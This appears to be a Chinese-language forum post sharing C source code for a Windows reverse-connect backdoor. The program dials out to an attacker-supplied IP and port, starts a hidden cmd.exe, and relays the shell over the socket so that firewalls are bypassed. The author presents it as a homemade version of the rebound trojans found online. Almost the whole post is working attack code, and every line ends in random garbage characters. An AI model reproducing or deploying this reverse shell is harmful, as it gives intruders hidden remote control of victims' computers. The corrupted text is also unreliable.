这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (xE |T f
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/* ============================== mE=Ur
Rebound port in Windows NT ?6]B6
By wind,2006/7 ~%2yDhdQ
===============================*/ XS
#u/!
#include 'N^*,
#include Sl-9im1
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#pragma comment(lib,"wsock32.lib") za+)2/
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void OutputShell(); 7l ,f
SOCKET sClient; f[
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )dFPfu&HL
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void main(int argc,char **argv) 0@[*~H0{n
{ fC3T\@(&
WSADATA stWsaData; `x=$n5=8
int nRet; !^8X71W|
SOCKADDR_IN stSaiClient,stSaiServer; fs:yx'mxV
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if(argc != 3) N:CQ$7T{ j
{ *dxm|F98
printf("Useage:\n\rRebound DestIP DestPort\n"); %%/8B
return; sgDSl@lB
} BY&{fWUo
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WSAStartup(MAKEWORD(2,2),&stWsaData); icX4n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m)LI|
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stSaiClient.sin_family = AF_INET; ^_i)XdPU
stSaiClient.sin_port = htons(0); b;{"@b,Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }#-@5["-X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $2,tT;50g
{ LR{bNV[i
printf("Bind Socket Failed!\n"); W/%hS)75
return; IuT)?S7O*k
} Z#B}#*<C
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stSaiServer.sin_family = AF_INET; E#_2t)20
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,vO\n^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S0Io$\ha
kz1#"8Zd!
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o&&`_"18
{ Kc95yt
printf("Connect Error!"); qH5nw}]
return; iC5HrOl6U
} .drY
OutputShell(); J
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} <ch}]-_
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void OutputShell() ErJ/h?+
{ c|JQ0] K
char szBuff[1024]; IG# wY
SECURITY_ATTRIBUTES stSecurityAttributes; s9a`2Wm
OSVERSIONINFO stOsversionInfo; }^0'IAXi
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FwlDP
STARTUPINFO stStartupInfo; 8'L:D
char *szShell; vBOY[>=
PROCESS_INFORMATION stProcessInformation; !'~L dl
unsigned long lBytesRead; 6r`N\ :18
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tW4X+d"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]hS<"=oj
stSecurityAttributes.lpSecurityDescriptor = 0; w|]Tt="
stSecurityAttributes.bInheritHandle = TRUE; *;9H \%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Xz^k.4 Y{4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iN.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~?Vo d|>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E0Q6Ryn
stStartupInfo.wShowWindow = SW_HIDE; QNINn>2
stStartupInfo.hStdInput = hReadPipe; ['Lo8 [
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &Z[+V)6,,
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GetVersionEx(&stOsversionInfo); 0 K#|11r
p<(a);<L
switch(stOsversionInfo.dwPlatformId) @'}2xw[eU
{ <Vk}U
case 1: _AFje
szShell = "command.com"; =
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break; t6\H
default: LdH1sHy*d`
szShell = "cmd.exe"; vD9\i*\2
break; >qB`03>
} 0RtZTCGO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >;1w-n
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send(sClient,szMsg,77,0); n}F$kyI
while(1) fo+s+Q|Y
{ ]T'8O`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AC(qx:/6
if(lBytesRead) 'g,_ lF
{ gJX"4]Ol#}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (kB
send(sClient,szBuff,lBytesRead,0); ;$6L_C4B
} i_Q1\_m !
else Ycm .qud
?
{ ~EY)c~H
lBytesRead=recv(sClient,szBuff,1024,0); "hI"4xSg
if(lBytesRead<=0) break; &WBpd}|+Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2<5LQr
} )L6
it
} -rI7ihr*
M&V4|D
return; e|~{X\l
}